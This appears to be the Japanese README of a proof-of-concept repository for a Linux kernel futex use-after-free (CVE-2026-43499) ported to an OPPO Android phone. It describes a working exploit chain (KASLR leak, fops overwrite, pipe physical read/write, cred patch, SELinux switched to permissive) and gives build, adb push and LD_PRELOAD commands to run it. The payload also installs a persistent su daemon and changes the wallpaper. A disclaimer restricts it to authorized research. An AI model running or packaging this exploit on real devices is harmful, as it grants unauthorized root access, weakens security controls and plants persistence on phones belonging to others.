
CVE-2026-43499 GhostLock futex UAF LPE PoC(OPPO PCKM00 (SM6150) / Linux 4.14.180 向け)
CVE-2026-43499 (GhostLock) — Linuxカーネルfutex優先度継承における
use-after-freeを利用したローカル権限昇格PoC。OPPO PCKM00
(OP4A57, SM6150, Android 11, kernel 4.14.180-perf+) 向けに移植。
DISCLAIMER / 免責事項 このプロジェクトは認可されたセキュリティ研究および教育目的のみを対象としています。 所有していないデバイス、または明示的にテストを許可されていないデバイスでは使用しないでください。 エクスプロイトの実行によりカーネルがクラッシュする可能性があります。作者は誤用や損害について一切の責任を負いません。
本项目仅用于授权的安全研究与教育目的。请勿在非本人所有或未获明确授权的设备上使用。运行利用可能导致内核崩溃,作者不承担任何滥用或损失的责任。
CVE-2026-43499 (GhostLock) は、Linuxカーネルのfutex優先度継承コードにおけるuse-after-freeです。
このバグは、rt_mutex_start_proxy_lock()のプロキシロックロールバックパスでremove_waiter()が誤用されることに起因します。
解放されたrt_mutex_waiter(カーネルスタック上に割り当て)は、pselect()によってコピーされた攻撃者制御のfd_setとして再解釈され、任意書き込みプリミティブを生み出します。
影響範囲: Linux 4.x–6.x(2011年に導入)。4.14系は全面的に影響を受けます。
完全な分析と検証済みシンボルオフセットについてはreport.mdを参照してください。
futex requeue-pi UAF
└─> pselect fd_set スタックコピー (偽の rt_mutex_waiter / 偽の task)
└─> 任意書き込み (rt_mutex ツリー操作 / sched_setattr)
└─> ashmem_fops の上書き -> configfs bin 読み書き
└─> pipe_buffer ページ書き換え (物理RWプリミティブ)
└─> 現在のタスク cred をパッチ -> root
PoCはLD_PRELOADを介して完全にユーザースペースで実行されます — デバイスの再起動は不要です(カーネルパニックが発生しない限り)。
他の4.14デバイスへの移植:
exploit/targets/oppo-pckm00/target.hをコピーし、 カーネルイメージからシンボルオフセットを再生成してください(analysis/を参照)。
.
├── report.md # 完全な脆弱性分析と検証済みオフセット
├── exploit/
│ ├── Makefile # preload.so のビルド (Windows NDK / WSL)
│ ├── src/
│ │ ├── preload.c # LD_PRELOAD エントリ + 強制ディスクログ + su
│ │ ├── main.c # オーケストレーション (waiter/owner/consumer スレッド)
│ │ ├── slide.c # KASLR リーク (boot_id / nfulnl ロガー)
│ │ ├── fops.c # ashmem_fops 上書き + configfs プリミティブ
│ │ ├── pipe.c # pipe_buffer physrw プリミティブ
│ │ ├── root.c # タスク走査 + cred パッチ + seccomp/selinux
│ │ ├── util.c # kernelsnitch, skb ページ準備, カーネル RW
│ │ ├── su_daemon.c # 組み込み su サーバー (ドロップイン)
│ │ ├── su_blob.S # su_daemon の .incbin
│ │ └── wallpaper_blob.S # 壁紙ペイロードの .incbin
│ ├── targets/oppo-pckm00/target.h # 4.14.180 シンボル/構造体オフセット
│ └── assets/wallpaper.webp # 組み込み壁紙ペイロード
├── analysis/ # カーネルイメージ / kallsyms 抽出スクリプト
└── LICENSE # Apache-2.0 (アップストリーム GhostLock と同じ)
Android NDK r29 (aarch64-linux-android30-clang) が必要です。
set NDK=C:\path\to\android-ndk-r29
make NDK=%NDK%
# NDK を /opt/ndk/android-ndk-r29 に配置 (linux-x86_64 ツールチェーン)
cd exploit
make wsl
# または直接:
bash ../analysis/build_preload.sh
出力: exploit/preload.so (64ビット aarch64 ELF 共有オブジェクト)。
ビルドではsu_daemon.cもPIEバイナリにコンパイルされ、.Sブロブを介して(壁紙とともに).soに埋め込まれます。
# バイナリのみ (リリースアセットまたはローカルビルドから)
adb push preload.so /data/local/tmp/preload.so
# またはリポジトリ構成を使用
adb push exploit/preload.so /data/local/tmp/preload.so
adb shell chmod 755 /data/local/tmp/preload.so
.soはLD_PRELOADを介してshプロセスにロードされ、そのコンストラクタが
エクスプロイトチェーン全体を実行して結果を報告します:
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
成功するとシェルは次のように報告します:
uid=0(root) gid=0(root) ...
[+] ROOT OK pid=<pid> uid=0
現在のプロセス(およびその子プロセス)はrootになります。suデーモンが
/apex/com.android.virt/bin/suにインストールされ(/data/local/tmp/suにフォールバック)、
永続化/検証アーティファクトとして埋め込み壁紙が適用されます。
# 実行後に新しいシェルから
adb shell su -c 'id'
# または root シェルセッションを取得 (対話型 su クライアント)
adb shell /data/local/tmp/su
# SELinux が permissive に切り替わったか確認 (selinux パスがヒットした場合)
adb shell getenforce
すべてのpr_*診断は**/sdcard/Download/log_<timestamp>.txt**にも書き込まれます
(/data/local/tmp/log_<timestamp>.txtにフォールバック)。各行でO_SYNC + fsync()を使用するため、
カーネルパニック/再起動後もログが残ります:
adb pull /sdcard/Download/log_*.txt
# または /sdcard が早期にマウントされない場合
adb pull /data/local/tmp/log_*.txt
adb shell cat /sdcard/Download/log_*.txt
ログには各ステージ(KASLRスライド、fops上書き、pipe physrw、credパッチ)と
最終的なuid_after / ROOT OK行が表示されます — 問題を報告する際に添付してください。
adb shell rm -f /data/local/tmp/preload.so /data/local/tmp/log_*.txt
adb shell rm -f /data/local/tmp/su /data/local/tmp/temp_su.sock /data/local/tmp/su_daemon.log
adb reboot # SELinux/cred 状態または壁紙が変更された場合
注意: エクスプロイトの実行によりカーネルがクラッシュする可能性があります。
adbが切断された場合は、 デバイスの再起動を待ってから/sdcard/Download/log_*.txtをプルしてください — 強制O_SYNC/fsyncログはまさにパニック後も残るものです。
boot_id/nfulnlロガーパス(slide.c)とashmem_fops検証パス(fops.c)を介してスライドをリークします。.read/.writeを使用(read_iter/write_iterなし)、ashmem_fopsにshow_fdinfoがない、generic_file_splice_readがcopy_splice_readを置き換え、selinux_enforcingはstruct selinux_state内に存在、rt_mutex_waiter / / レイアウト。IonStack/CVE-2026-43499)、Apache-2.0。
https://github.com/NebuSec/CyberMeowfiaApache-2.0 — LICENSEを参照してください。
| フィールド | 値 |
|---|
| デバイス | OPPO PCKM00 / OP4A57 |
| SoC | Qualcomm SM6150 |
| Android | 11 (RKQ1.200903.002) |
| セキュリティパッチ | 2022-09-05 |
| カーネル | 4.14.180-perf+ (arm64, clang 10.0.7) |
| ビルド | OPPO/PCKM00/PCKM00:11/RKQ1.200903.002/1635513065:user/release-keys |
pipe_inode_infocredtask_struct.seccomp)はベストエフォートです。seccompのパッチに失敗しても
cred上書きによるroot化は妨げられません。